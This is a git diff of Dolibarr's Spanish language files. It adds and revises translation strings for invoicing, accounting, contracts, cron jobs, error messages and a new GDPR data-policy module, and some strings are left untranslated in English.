+AssetDispatchedInBookkeeping=Depreciación registrada +AssetFutureDepreciationLine=Depreciación futura +AssetDepreciationReversal=Reversión + +# +# Errors +# +AssetErrorAssetOrAssetModelIDNotProvide=No se proporcionó la identificación del recurso o el sonido del modelo +AssetErrorFetchAccountancyCodesForMode=Error al recuperar las cuentas contables para el modo de depreciación '%s' +AssetErrorDeleteAccountancyCodesForMode=Error al eliminar cuentas contables del modo de depreciación '%s' +AssetErrorInsertAccountancyCodesForMode=Error al insertar las cuentas contables del modo de depreciación '%s' +AssetErrorFetchDepreciationOptionsForMode=Error al recuperar opciones para el modo de depreciación '%s' +AssetErrorDeleteDepreciationOptionsForMode=Error al eliminar las opciones del modo de depreciación '%s' +AssetErrorInsertDepreciationOptionsForMode=Error al insertar las opciones del modo de depreciación '%s' +AssetErrorFetchDepreciationLines=Error al recuperar líneas de depreciación registradas +AssetErrorClearDepreciationLines=Error al purgar líneas de depreciación registradas (reversión y futuro) +AssetErrorAddDepreciationLine=Error al agregar una línea de depreciación +AssetErrorCalculationDepreciationLines=Error al calcular las líneas de depreciación (recuperación y futuro) +AssetErrorReversalDateNotProvidedForMode=No se proporciona la fecha de reversión para el método de depreciación '%s' +AssetErrorReversalDateNotGreaterThanCurrentBeginFiscalDateForMode=La fecha de reversión debe ser mayor o igual que el comienzo del año fiscal actual para el método de depreciación '%s' +AssetErrorReversalAmountNotProvidedForMode=No se proporciona el importe de reversión para el modo de depreciación '%s'. +AssetErrorFetchCumulativeDepreciation=Error al recuperar la cantidad de depreciación acumulada de la línea de depreciación +AssetErrorSetLastCumulativeDepreciation=Error al registrar el último monto de depreciación acumulada diff --git a/htdocs/langs/es_ES/banks.lang b/htdocs/langs/es_ES/banks.lang index cf9b1648f10..5a1e63c3634 100644 --- a/htdocs/langs/es_ES/banks.lang +++ b/htdocs/langs/es_ES/banks.lang @@ -49,6 +49,9 @@ BankAccountDomiciliation=Domiciliación de cuenta BankAccountCountry=País de la cuenta BankAccountOwner=Nombre del titular de la cuenta BankAccountOwnerAddress=Dirección del titular de la cuenta +BankAccountOwnerZip=Código postal del propietario de la cuenta +BankAccountOwnerTown=Población del propietario de la cuenta +BankAccountOwnerCountry=País del propietario de la cuenta CreateAccount=Crear cuenta NewBankAccount=Nueva cuenta NewFinancialAccount=Nueva cuenta financiera @@ -185,4 +188,3 @@ AlreadyOneBankAccount=Ya se ha definido una cuenta bancaria SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformation=Transferencia SEPA: 'Tipo de pago' a nivel de 'Transferencia de crédito' SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformationHelp=Al generar un archivo SEPA XML para transferencias de crédito, la sección "PaymentTypeInformation" ahora se puede colocar dentro de la sección "CreditTransferTransactionInformation" (en lugar de la sección "Pago"). Recomendamos enfáticamente dejar esto sin marcar para colocar la información de tipo de pago en el nivel de pago, ya que no todos los bancos la aceptarán necesariamente en el nivel de información de transacción de transferencia de crédito. Comuníquese con su banco antes de colocar PaymentTypeInformation en el nivel CreditTransferTransactionInformation. ToCreateRelatedRecordIntoBank=Para crear un registro bancario relacionado faltante -BanklineExtraFields=Campos adicionales de línea bancaria diff --git a/htdocs/langs/es_ES/bills.lang b/htdocs/langs/es_ES/bills.lang index 55debd7c8d7..37088aff502 100644 --- a/htdocs/langs/es_ES/bills.lang +++ b/htdocs/langs/es_ES/bills.lang @@ -13,10 +13,12 @@ BillsStatistics=Estadísticas de facturas a clientes BillsStatisticsSuppliers=Estadísticas de facturas de proveedores DisabledBecauseDispatchedInBookkeeping=Desactivado porque la factura se contabilizó DisabledBecauseNotLastInvoice=Desactivado porque la factura no se puede borrar. Se han creado facturas después de esta y crearían huecos en el contador. +DisabledBecauseNotLastSituationInvoice=Deshabilitado porque la factura no se puede borrar. Esta factura no es la última en ciclo de facturación de situación. DisabledBecauseNotErasable=Desactivado ya que no puede eliminarse InvoiceStandard=Factura estándar InvoiceStandardAsk=Factura estándar InvoiceStandardDesc=Este tipo de factura es la factura tradicional. +InvoiceStandardShort=Estándar InvoiceDeposit=Factura de anticipo InvoiceDepositAsk=Factura de anticipo InvoiceDepositDesc=La factura de anticipo es el tipo de factura que se crea a la recepción de un anticipo, si no es posible realizar el pago sobre una factura definitiva. @@ -24,6 +26,7 @@ InvoiceProForma=Factura pro-forma InvoiceProFormaAsk=Factura pro-forma InvoiceProFormaDesc=La factura pro-forma es la imagen de una factura definitiva, pero que no tiene ningún valor contable. InvoiceReplacement=Factura rectificativa +InvoiceReplacementShort=Reemplazo InvoiceReplacementAsk=Factura rectificativa de la factura InvoiceReplacementDesc=La factura rectificativa sirve para cancelar y sustituir una factura existente sobre la que aún no hay pagos recibidos.

      Nota: Sólo pueden rectificarse las facturas sin pagos registrados. Si esta última no está cerrada, pasará automáticamente al estado 'abandonada'. InvoiceAvoir=Abono @@ -159,6 +162,7 @@ ErrorThisPartOrAnotherIsAlreadyUsedSoDiscountSerieCantBeRemoved=Esta parte u otr ErrorInvoiceIsNotLastOfSameType=Error: La fecha de la factura %s es %s. Debe ser posterior o igual a la última fecha para facturas del mismo tipo (%s). Por favor cambie la fecha de la factura. BillFrom=Emisor BillTo=Enviar a +ShippingTo=Enviar a: ActionsOnBill=Eventos sobre la factura RecurringInvoiceTemplate=Plantilla/Factura recurrente NoQualifiedRecurringInvoiceTemplateFound=Sin plantilla de factura recurrente apta para la generación @@ -622,3 +626,8 @@ PaymentRegisteredAndInvoiceSetToPaid=Pago registrado y factura %s marcada como p SendEmailsRemindersOnInvoiceDueDate=Enviar recordatorio por correo electrónico de facturas impagadas MakePaymentAndClassifyPayed=Registro de pago BulkPaymentNotPossibleForInvoice=El pago masivo no es posible para la factura %s (tipo o estado incorrecto) +MentionVATDebitOptionIsOn=Opción de tributar en base a débitos +MentionCategoryOfOperations=Categoría de operaciones +MentionCategoryOfOperations0=Entrega de bienes +MentionCategoryOfOperations1=Provisión de servicios +MentionCategoryOfOperations2=Mixto - Entrega de bienes y prestación de servicios diff --git a/htdocs/langs/es_ES/boxes.lang b/htdocs/langs/es_ES/boxes.lang index 7e6988c40c8..2f798780be7 100644 --- a/htdocs/langs/es_ES/boxes.lang +++ b/htdocs/langs/es_ES/boxes.lang @@ -24,6 +24,7 @@ BoxFicheInter=Últimas intervenciones BoxCurrentAccounts=Balance de cuentas abiertas BoxTitleMemberNextBirthdays=Cumpleaños de este mes (miembros) BoxTitleMembersByType=Miembros por tipo y estado +BoxTitleMembersByTags=Miembros por etiquetas y estado BoxTitleMembersSubscriptionsByYear=Suscripciones de miembros por año BoxTitleLastRssInfos=Últimas %s noticias de %s BoxTitleLastProducts=Productos/Servicios: últimos %s modificados @@ -44,8 +45,10 @@ BoxTitleSupplierOrdersAwaitingReception=Pedidos a proveedores en espera de recep BoxTitleLastModifiedContacts=Últimos %s contactos/direcciones modificados BoxMyLastBookmarks=Marcadores: últimos %s BoxOldestExpiredServices=Servicios antiguos expirados +BoxOldestActions=Eventos más antiguos por hacer BoxLastExpiredServices=Últimos %s contratos más antiguos con servicios expirados BoxTitleLastActionsToDo=Últimas %s acciones a realizar +BoxTitleOldestActionsToDo=Eventos %s más antiguos por hacer, no completados BoxTitleLastContracts=Últimos %s contratos modificados BoxTitleLastModifiedDonations=Últimas %s donaciones modificadas BoxTitleLastModifiedExpenses=Últimos %s informes de gastos modificados @@ -115,6 +118,27 @@ BoxCustomersOutstandingBillReached=Clientes con límite pendiente alcanzado UsersHome=Usuarios y grupos internos MembersHome=Afiliados internos ThirdpartiesHome=Terceros internos +productindex=Inicio productos y servicios +mrpindex=Inicio MRP +commercialindex=Inicio comercial +projectsindex=Home projects +invoiceindex=Home invoices +hrmindex=Home invoices TicketsHome=Tickets internos +stockindex=Home stocks +sendingindex=Home shippings +receptionindex=Home receivings +activityindex=Home activity +proposalindex=Home proposal +ordersindex=Home orders +orderssuppliersindex=Home orders suppliers +contractindex=Home contracts +interventionindex=Home interventions +suppliersproposalsindex=Home suppliers proposals +donationindex=Home donations +specialexpensesindex=Home specials expenses +expensereportindex=Home expensereport +mailingindex=Home mailing +opensurveyindex=Home opensurvey AccountancyHome=Contabilidad interna ValidatedProjects=Proyectos validados diff --git a/htdocs/langs/es_ES/companies.lang b/htdocs/langs/es_ES/companies.lang index e12c0e84e1f..64619107e23 100644 --- a/htdocs/langs/es_ES/companies.lang +++ b/htdocs/langs/es_ES/companies.lang @@ -312,12 +312,12 @@ CustomerRelativeDiscountShort=Descuento relativo CustomerAbsoluteDiscountShort=Descuento fijo CompanyHasRelativeDiscount=Este cliente tiene un descuento por defecto de %s%% CompanyHasNoRelativeDiscount=Este cliente no tiene descuentos relativos por defecto -HasRelativeDiscountFromSupplier=Tiene un descuento predeterminado de %s%% en este proveedor -HasNoRelativeDiscountFromSupplier=No tiene descuento relativo predeterminado en este proveedor +HasRelativeDiscountFromSupplier=Tiene un descuento predeterminado de %s%% con este proveedor +HasNoRelativeDiscountFromSupplier=Sin descuento relativo predeterminado con este proveedor CompanyHasAbsoluteDiscount=Este cliente tiene %s %s en descuentos (abonos o anticipos) disponibles CompanyHasDownPaymentOrCommercialDiscount=Este cliente tiene descuentos disponibles (anticipos, comerciales) para %s %s CompanyHasCreditNote=Este cliente tiene %s %s en anticipos disponibles -HasNoAbsoluteDiscountFromSupplier=No tiene crédito de descuento disponible en este proveedor +HasNoAbsoluteDiscountFromSupplier=No hay descuento/crédito disponible de este proveedor HasAbsoluteDiscountFromSupplier=Tiene descuentos disponibles (notas de créditos o anticipos) para %s %s en este proveedor HasDownPaymentOrCommercialDiscountFromSupplier=Tiene descuentos disponibles (comerciales, anticipos) para %s %s en este proveedor HasCreditNoteFromSupplier=Tiene abonos para %s %s en este proveedor @@ -444,7 +444,7 @@ AddAddress=Añadir dirección SupplierCategory=Categoría de proveedor JuridicalStatus200=Independiente DeleteFile=Eliminación de un archivo -ConfirmDeleteFile=¿Está seguro de querer eliminar este archivo? +ConfirmDeleteFile=¿Está seguro de que desea eliminar este archivo %s ? AllocateCommercial=Asignado a comercial Organization=Organismo FiscalYearInformation=Información del año fiscal @@ -498,3 +498,8 @@ RestOfEurope=Resto de Europa (CEE) OutOfEurope=Fuera de Europa (CEE) CurrentOutstandingBillLate=Factura actual pendiente con retraso BecarefullChangeThirdpartyBeforeAddProductToInvoice=Tenga cuidado, dependiendo de la configuración del precio de su producto, debe cambiar de tercero antes de agregar el producto al POS. +EmailAlreadyExistsPleaseRewriteYourCompanyName=el correo electrónico ya existe, vuelva a escribir el nombre de su empresa +TwoRecordsOfCompanyName=existe más de un registro para esta empresa, contáctenos para completar su solicitud de asociación +CompanySection=Sección de empresa +ShowSocialNetworks=Mostrar redes sociales +HideSocialNetworks=Ocultar redes sociales diff --git a/htdocs/langs/es_ES/compta.lang b/htdocs/langs/es_ES/compta.lang index 333d853061c..066ccdf318d 100644 --- a/htdocs/langs/es_ES/compta.lang +++ b/htdocs/langs/es_ES/compta.lang @@ -29,6 +29,8 @@ BalanceBefore=Balance (antes) Balance=Saldo Debit=Debe Credit=Haber +AccountingDebit=Debe +AccountingCredit=Crédito Piece=Doc. contabilidad AmountHTVATRealReceived=Total repercutido AmountHTVATRealPaid=Total pagado @@ -146,11 +148,11 @@ ConfirmPaySalary=¿Está seguro de que desea clasificar esta tarjeta salarial co DeleteSocialContribution=Eliminar un pago de tasa social o fiscal DeleteVAT=Eliminar una declaración de IVA DeleteSalary=Eliminar una tarjeta de salario -DeleteVariousPayment=Delete a various payment +DeleteVariousPayment=Eliminar un pago vario ConfirmDeleteSocialContribution=¿Está seguro de que desea eliminar este pago de impuestos sociales / fiscales? ConfirmDeleteVAT=¿Está seguro de que desea eliminar esta declaración de IVA? -ConfirmDeleteSalary=Are you sure you want to delete this salary ? -ConfirmDeleteVariousPayment=Are you sure you want to delete this various payment ? +ConfirmDeleteSalary=¿Está seguro de que desea eliminar este salario? +ConfirmDeleteVariousPayment=¿Está seguro de que desea eliminar este pago vario? ExportDataset_tax_1=tasas sociales y fiscales y pagos CalcModeVATDebt=Modo %sIVA sobre facturas emitidas%s. CalcModeVATEngagement=Modo %sIVA sobre facturas cobradas%s. @@ -244,12 +246,12 @@ TurnoverPerProductInCommitmentAccountingNotRelevant=El informe del volumen de ve TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=El informe Volumen de ventas cobradas por tasa de impuesto no está disponible. Este informe solo está disponible para volumen de ventas emitidas. CalculationMode=Modo de cálculo AccountancyJournal=Código contable diario -ACCOUNTING_VAT_SOLD_ACCOUNT=Cuenta contable por defecto para el IVA de ventas (usado si no se define en el diccionario de IVA) -ACCOUNTING_VAT_BUY_ACCOUNT=Cuenta contable por defecto para el IVA de compras (usado si no se define en el diccionario de IVA) -ACCOUNTING_VAT_PAY_ACCOUNT=Código contable por defecto para el pago de IVA -ACCOUNTING_ACCOUNT_CUSTOMER=Cuenta contable usada para clientes +ACCOUNTING_VAT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on sales (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on purchases (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_PAY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for paying VAT +ACCOUNTING_ACCOUNT_CUSTOMER=Account (from the Chart Of Account) used for "customer" third parties ACCOUNTING_ACCOUNT_CUSTOMER_Desc=Se utilizará una cuenta contable dedicada definida en la ficha de terceros para el relleno del Libro Mayor, o como valor predeterminado de la contabilidad del Libro Mayor si no se define una cuenta contable en la ficha del tercero -ACCOUNTING_ACCOUNT_SUPPLIER=Cuenta contable usada para proveedores +ACCOUNTING_ACCOUNT_SUPPLIER=Account (from the Chart of Account) used for the "vendor" third parties ACCOUNTING_ACCOUNT_SUPPLIER_Desc=Se utilizará una cuenta contable dedicada definida en la ficha de terceros para el relleno del Libro Mayor, o como valor predeterminado de la contabilidad del Libro Mayor si no se define una cuenta contable en la ficha del tercero ConfirmCloneTax=Confirmar la clonación de una tasa social/fiscal ConfirmCloneVAT=Confirmar la clonación de una declaración de IVA @@ -289,9 +291,9 @@ ReportPurchaseTurnover=Volumen de compras facturado ReportPurchaseTurnoverCollected=Volumen de compras pagadas IncludeVarpaysInResults = Incluir varios pagos en informes IncludeLoansInResults = Incluir préstamos en informes -InvoiceLate30Days = Late (> 30 days) -InvoiceLate15Days = Late (15 to 30 days) -InvoiceLateMinus15Days = Late (< 15 days) +InvoiceLate30Days = Tardío (> 30 días) +InvoiceLate15Days = Tarde (15 a 30 días) +InvoiceLateMinus15Days = Tardío (< 15 días) InvoiceNotLate = A cobrar (< 15 días) InvoiceNotLate15Days = A cobrar (de 15 a 30 días) InvoiceNotLate30Days = A cobrar(>30 días) @@ -300,3 +302,4 @@ InvoiceToPay15Days=A pagar (de 15 a 30 días) InvoiceToPay30Days=A pagar (>30 días) ConfirmPreselectAccount=Preseleccionar el código de contabilidad ConfirmPreselectAccountQuestion=¿Está seguro de que desea preseleccionar las%s líneas seleccionadas con este código de contabilidad? +AmountPaidMustMatchAmountOfDownPayment=El monto pagado debe coincidir con el monto del pago inicial diff --git a/htdocs/langs/es_ES/contracts.lang b/htdocs/langs/es_ES/contracts.lang index 0978f7d1301..c1a8919b3fd 100644 --- a/htdocs/langs/es_ES/contracts.lang +++ b/htdocs/langs/es_ES/contracts.lang @@ -20,6 +20,7 @@ ContractsSubscriptions=Contratos/Suscripciones ContractsAndLine=Contratos y líneas de contratos Contract=Contrato ContractLine=Línea de contrato +ContractLines=Líneas de contrato Closing=Cierre NoContracts=Sin contratos MenuServices=Servicios @@ -79,7 +80,7 @@ ConfirmDeleteContractLine=¿Está seguro de querer eliminar esta línea de contr MoveToAnotherContract=Mover el servicio a otro contrato de este tercero. ConfirmMoveToAnotherContract=He elegido el contrato y confirmo el cambio de servicio en el presente contrato. ConfirmMoveToAnotherContractQuestion=Elija cualquier otro contrato del mismo tercero, ¿desea mover este servicio? -PaymentRenewContractId=Renovación servicio (número %s) +PaymentRenewContractId=Renovar contrato %s (servicio %s) ExpiredSince=Expirado desde el NoExpiredServices=Sin servicios activos expirados ListOfServicesToExpireWithDuration=Listado de servicios activos a expirar en %s días @@ -102,3 +103,5 @@ TypeContact_contrat_external_SALESREPSIGN=Contacto cliente firmante del contrato HideClosedServiceByDefault=Ocultar servicios cerrados por defecto ShowClosedServices=Mostrar servicios cerrados HideClosedServices=Ocultar servicios cerrados +UserStartingService=Usuario inicio del servicio +UserClosingService=Usuario cierre del servicio diff --git a/htdocs/langs/es_ES/cron.lang b/htdocs/langs/es_ES/cron.lang index 25537c7cbbc..ed2d6a53dcc 100644 --- a/htdocs/langs/es_ES/cron.lang +++ b/htdocs/langs/es_ES/cron.lang @@ -26,7 +26,7 @@ CronCommand=Comando CronList=Tareas programadas CronDelete=Borrar tareas programadas CronConfirmDelete=¿Está seguro de querer eliminar esta tarea programada? -CronExecute=Ejecutar tarea programada +CronExecute=Lanzar ahora CronConfirmExecute=¿Está seguro de querer ejecutar esta tarea programada ahora? CronInfo=Tareas programadas le permite ejecutar tareas que han sido programadas. Las tareas también pueden iniciarse manualmente. CronTask=Tarea @@ -58,7 +58,7 @@ CronNote=Comentario CronFieldMandatory=campos %s son obligatorios CronErrEndDateStartDt=La fecha de finalizacion no puede ser anterior a la fecha de inicio StatusAtInstall=Estado en la instalación del módulo -CronStatusActiveBtn=Calendario +CronStatusActiveBtn=Habilitar programación CronStatusInactiveBtn=Inactivo CronTaskInactive=Este trabajo está desactivado (no programado) CronId=Id @@ -82,10 +82,19 @@ UseMenuModuleToolsToAddCronJobs=Vaya al menú "Inicio - Herramienta JobDisabled=Tarea desactivada MakeLocalDatabaseDumpShort=Copia local de la base de datos MakeLocalDatabaseDump=Crear una copia local de la base de datos. Los parámetros son: compresión ('gz' o 'bz' o 'ninguno'), tipo de copia de seguridad ('mysql' o 'pgsql'), 1, 'auto' o nombre de archivo para construir, nº de archivos de copia de seguridad a mantener +MakeSendLocalDatabaseDumpShort=Enviar copia de seguridad de la base de datos local +MakeSendLocalDatabaseDump=Enviar copia de seguridad de la base de datos local por e-mail. Los parámetros son: para, de, asunto, mensaje, nombre de archivo (Nombre del archivo enviado), filtro ('sql' solo para copia de seguridad de la base de datos) +BackupIsTooLargeSend=Lo sentimos, el último archivo de copia de seguridad es demasiado grande para enviarlo por correo electrónico +CleanUnfinishedCronjobShort=Limpiar cronjob sin terminar +CleanUnfinishedCronjob=Limpie el cronjob atascado en el procesamiento cuando el proceso ya no se está ejecutando WarningCronDelayed=Atención: para mejorar el rendimiento, cualquiera que sea la próxima fecha de ejecución de las tareas activas, sus tareas pueden retrasarse un máximo de %s horas antes de ejecutarse DATAPOLICYJob=Limpiador de datos y anonimizador JobXMustBeEnabled=La tarea %s debe estar habilitada +EmailIfError=Correo electrónico para advertencia de error +ErrorInBatch=Error al ejecutar el trabajo %s + # Cron Boxes LastExecutedScheduledJob=Última tarea programada ejecutada NextScheduledJobExecute=Siguiente tarea programada para ejecutar NumberScheduledJobError=Número de tareas programadas con error +NumberScheduledJobNeverFinished=Número de trabajos programados que nunca terminaron diff --git a/htdocs/langs/es_ES/datapolicy.lang b/htdocs/langs/es_ES/datapolicy.lang new file mode 100644 index 00000000000..2aae78822c0 --- /dev/null +++ b/htdocs/langs/es_ES/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Política de privacidad de datos +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Módulo para gestionar la Privacidad de los Datos (Conformidad con el RGPD) + +# +# Administration page +# +datapolicySetup = Configuración del módulo de Política de Privacidad de Datos +Deletion = Eliminación de datos +datapolicySetupPage = Dependiendo de las leyes de sus países (Ejemplo Artículo 5 del RGPD), los datos personales deben conservarse durante un período que no supere el necesario para los fines para los que fueron recopilados, excepto para fines de archivo.
      El borrado se realizará automáticamente después de un cierto tiempo sin evento (el tiempo que habrá indicado a continuación). +NB_MONTHS = %s meses +ONE_YEAR = 1 año +NB_YEARS = %s años +DATAPOLICY_TIERS_CLIENT = Cliente +DATAPOLICY_TIERS_PROSPECT = Cliente potencial +DATAPOLICY_TIERS_PROSPECT_CLIENT = Cliente potencial/Cliente +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = No es cliente potencial/cliente +DATAPOLICY_TIERS_FOURNISSEUR = Proveedor +DATAPOLICY_CONTACT_CLIENT = Cliente +DATAPOLICY_CONTACT_PROSPECT = Cliente potencial +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Cliente potencial/Cliente +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = No es cliente potencial/cliente +DATAPOLICY_CONTACT_FOURNISSEUR = Proveedor +DATAPOLICY_ADHERENT = Miembro +DATAPOLICY_Tooltip_SETUP = Tipo de contacto - Indique sus opciones para cada tipo. +DATAPOLICYMail = Configuración de E-Mail +DATAPOLICYSUBJECTMAIL = Asunto del correo electrónico +DATAPOLICYCONTENTMAIL = Contenido del correo electrónico +DATAPOLICYSUBSITUTION = Puede utilizar las siguientes variables en su correo electrónico (LINKACCEPT permite crear un enlace que registre el acuerdo de la persona, LINKREFUSED permite registrar el rechazo de la persona): +DATAPOLICYACCEPT = Mensaje después del acuerdo +DATAPOLICYREFUSE = Mensaje después del desacuerdo +SendAgreementText = Puede enviar un correo electrónico de GDPR a todos sus contactos relevantes (que aún no han recibido un correo electrónico y para los cuales no ha registrado nada sobre su acuerdo de GDPR). Para ello, utilice el siguiente botón. +SendAgreement = Enviar correos electrónicos +AllAgreementSend = Todos los correos electrónicos han sido enviados. +TXTLINKDATAPOLICYACCEPT = Texto para el enlace "acuerdo" +TXTLINKDATAPOLICYREFUSE = Texto para el enlace "desacuerdo" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = RGPD: Tratamiento de datos personales +DATAPOLICY_consentement = Consentimiento obtenido para el tratamiento de datos personales +DATAPOLICY_opposition_traitement = Se opone al tratamiento de sus datos personales +DATAPOLICY_opposition_prospection = Se opone al tratamiento de sus datos personales con fines de prospección + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonimizar a un tercero +DATAPOLICY_POPUP_ANONYME_TEXTE = No puede eliminar este contacto de Dolibarr porque hay elementos relacionados. De acuerdo con el RGPD, harás anónimos todos estos datos para respetar tus obligaciones. ¿Desea continuar? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portabilidad RGPD +DATAPOLICY_PORTABILITE_TITLE = Exportación de datos personales +DATAPOLICY_PORTABILITE_CONFIRMATION = Quiere exportar los datos personales de este contacto. ¿Está seguro? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonimizó el %s + +# V2 +DATAPOLICYReturn = Validación del RGPD +DATAPOLICY_date = Fecha de acuerdo/desacuerdo RGPD +DATAPOLICY_send = Fecha de envío del correo electrónico del acuerdo +DATAPOLICYReturn = Validación del RGPD +DATAPOLICY_SEND = Enviar correo electrónico de RGPD +MailSent = E-mail ha sido enviado + +# ERROR +ErrorSubjectIsRequired = Error: el asunto del correo electrónico es obligatorio. Indícalo en la configuración del módulo. +=Debido a un problema técnico, no pudimos registrar su elección. Nos disculpamos por eso. Póngase en contacto con nosotros para enviarnos su elección. +NUMBER_MONTH_BEFORE_DELETION = Número de mes antes de la eliminación diff --git a/htdocs/langs/es_ES/dict.lang b/htdocs/langs/es_ES/dict.lang index d0e6c7147b3..85072512edc 100644 --- a/htdocs/langs/es_ES/dict.lang +++ b/htdocs/langs/es_ES/dict.lang @@ -250,7 +250,9 @@ CountryMF=Saint-Martin ##### Civilities ##### CivilityMME=Señora +CivilityMMEShort=Señora CivilityMR=Señor +CivilityMRShort=Señor CivilityMLE=Señorita CivilityMTRE=Don CivilityDR=Doctor diff --git a/htdocs/langs/es_ES/donations.lang b/htdocs/langs/es_ES/donations.lang index 95e6156b36f..ddc8bfd65b6 100644 --- a/htdocs/langs/es_ES/donations.lang +++ b/htdocs/langs/es_ES/donations.lang @@ -7,7 +7,6 @@ AddDonation=Crear una donación NewDonation=Nueva donación DeleteADonation=Eliminar una donación ConfirmDeleteADonation=¿Esta seguro de querer eliminar esta donación? -ShowDonation=Mostrar donación PublicDonation=Donación pública DonationsArea=Área de donaciones DonationStatusPromiseNotValidated=Promesa no validada @@ -26,10 +25,11 @@ LastModifiedDonations=Últimas %s donaciones modificadas DonationRecipient=Beneficiario IConfirmDonationReception=El beneficiario confirma la recepción, como donación, de la siguiente cantidad MinimumAmount=El importe mínimo es %s -FreeTextOnDonations=Texto libre a mostrar a pié de página +FreeTextOnDonations=Texto libre a mostrar a pie de página FrenchOptions=Opciones para Francia DONATION_ART200=Mostrar artículo 200 del CGI si se está interesado DONATION_ART238=Mostrar artículo 238 del CGI si se está interesado DONATION_ART885=Mostrar artículo 885 del CGI si se está interesado DonationPayment=Pago de donación DonationValidated=Donación %s validada +DonationUseThirdparties=Utilice un tercero existente como coordenadas de los donantes diff --git a/htdocs/langs/es_ES/ecm.lang b/htdocs/langs/es_ES/ecm.lang index 61a7c144be5..826b85da74e 100644 --- a/htdocs/langs/es_ES/ecm.lang +++ b/htdocs/langs/es_ES/ecm.lang @@ -5,6 +5,7 @@ ECMSectionManual=Directorio manual ECMSectionAuto=Directorio automático ECMSectionsManual=Árbol manual ECMSectionsAuto=Árbol automático +ECMSectionsMedias=Árbol de medios ECMSections=Directorios ECMRoot=Raíz del ECM ECMNewSection=Nuevo directorio @@ -16,7 +17,9 @@ ECMNbOfFilesInSubDir=Número de archivos en los subdirectorios ECMCreationUser=Creador ECMArea=Área SGD/GED ECMAreaDesc=El área SGD/GED (Sistema Gestión Documental / Gestión Electrónica de Documentos) le permite guardar, compartir y buscar rápidamente todo tipo de documentos en Dolibarr. -ECMAreaDesc2=Puede crear directorios manuales y adjuntar los documentos
      Los directorios automáticos son rellenados automáticamente en la adición de un documento en una ficha. +ECMAreaDesc2a=* Los directorios manuales se pueden utilizar para guardar documentos no vinculados a un elemento en particular. +ECMAreaDesc2b=* Los directorios automáticos se llenan automáticamente al agregar documentos desde la página de un elemento. +ECMAreaDesc3=* Medias directories are files into the subdirectory /medias of documents directory, readable by everybody with no need to be logged and no need to have the file shared explicitely. It is used to store image files for the emailing or website module for example. ECMSectionWasRemoved=El directorio %s ha sido eliminado ECMSectionWasCreated=El directorio %s ha sido creado. ECMSearchByKeywords=Buscar por palabras clave diff --git a/htdocs/langs/es_ES/errors.lang b/htdocs/langs/es_ES/errors.lang index b1ac1c7ff3d..452510379f0 100644 --- a/htdocs/langs/es_ES/errors.lang +++ b/htdocs/langs/es_ES/errors.lang @@ -14,6 +14,7 @@ ErrorLoginAlreadyExists=El login %s ya existe. ErrorGroupAlreadyExists=El grupo %s ya existe. ErrorEmailAlreadyExists=El correo electrónico %s ya existe. ErrorRecordNotFound=Registro no encontrado +ErrorRecordNotFoundShort=No encontrado ErrorFailToCopyFile=Error al copiar el archivo '%s' en '%s'. ErrorFailToCopyDir=Error al copiar el directorio '%s' en '%s'. ErrorFailToRenameFile=Error al renombrar el archivo '%s' a '%s'. @@ -48,6 +49,7 @@ ErrorBadImageFormat=El archivo de imagen es de un formato no soportado (Su PHP n ErrorBadDateFormat=El valor '%s' tiene un formato de fecha no reconocido ErrorWrongDate=¡La fecha no es correcta! ErrorFailedToWriteInDir=Imposible escribir en el directorio %s +ErrorFailedToBuildArchive=Error al crear el archivo de almacenamiento %s ErrorFoundBadEmailInFile=Encontrada sintaxis incorrecta en email en %s líneas en archivo (ejemplo linea %s con email=%s) ErrorUserCannotBeDelete=No puede eliminarse el usuario. Es posible que esté asociado a ítems de Dolibarr ErrorFieldsRequired=Algunos campos obligatorios se han dejado en blanco. @@ -76,7 +78,7 @@ ErrorNoValueForCheckBoxType=Los valores de la lista deben ser indicados ErrorNoValueForRadioType=Los valores de la lista deben ser indicados ErrorBadFormatValueList=El valor de la lista no puede tener más de una coma: %s, pero es necesaria al menos una: clave,valor ErrorFieldCanNotContainSpecialCharacters=El campo %s no debe contener carácteres especiales -ErrorFieldCanNotContainSpecialNorUpperCharacters=El campo %s no debe contener carácteres especiales, ni caracteres en mayúsculas y no puede contener sólo números +ErrorFieldCanNotContainSpecialNorUpperCharacters=El campo %s no debe contener caracteres especiales, ni mayúsculas, y debe comenzar con un carácter alfabético (a-z) ErrorFieldMustHaveXChar=El campo %s debe tener al menos %s caracteres. ErrorNoAccountancyModuleLoaded=Módulo de contabilidad no activado ErrorExportDuplicateProfil=El nombre de este perfil ya existe para este conjunto de exportación @@ -95,9 +97,9 @@ ErrorWrongValueForField=Valor incorrecto para el campo número %s: '% ErrorHtmlInjectionForField=Campo %s : El valor ' %s ' contiene datos maliciosos no permitidos ErrorFieldValueNotIn=Valor incorrecto del campo número %s: '%s' no es un valor disponible en el campo %s de la tabla %s ErrorFieldRefNotIn=Valor incorrecto para el campo número %s: '%s' no es una referencia existente en %s +ErrorMultipleRecordFoundFromRef=Se encontraron varios registros al buscar desde ref %s . No hay forma de saber qué ID usar. ErrorsOnXLines=%s errores encontrados ErrorFileIsInfectedWithAVirus=¡El antivirus no ha podido validar este archivo (es probable que esté infectado por un virus)! -ErrorSpecialCharNotAllowedForField=Los caracteres especiales no son admitidos 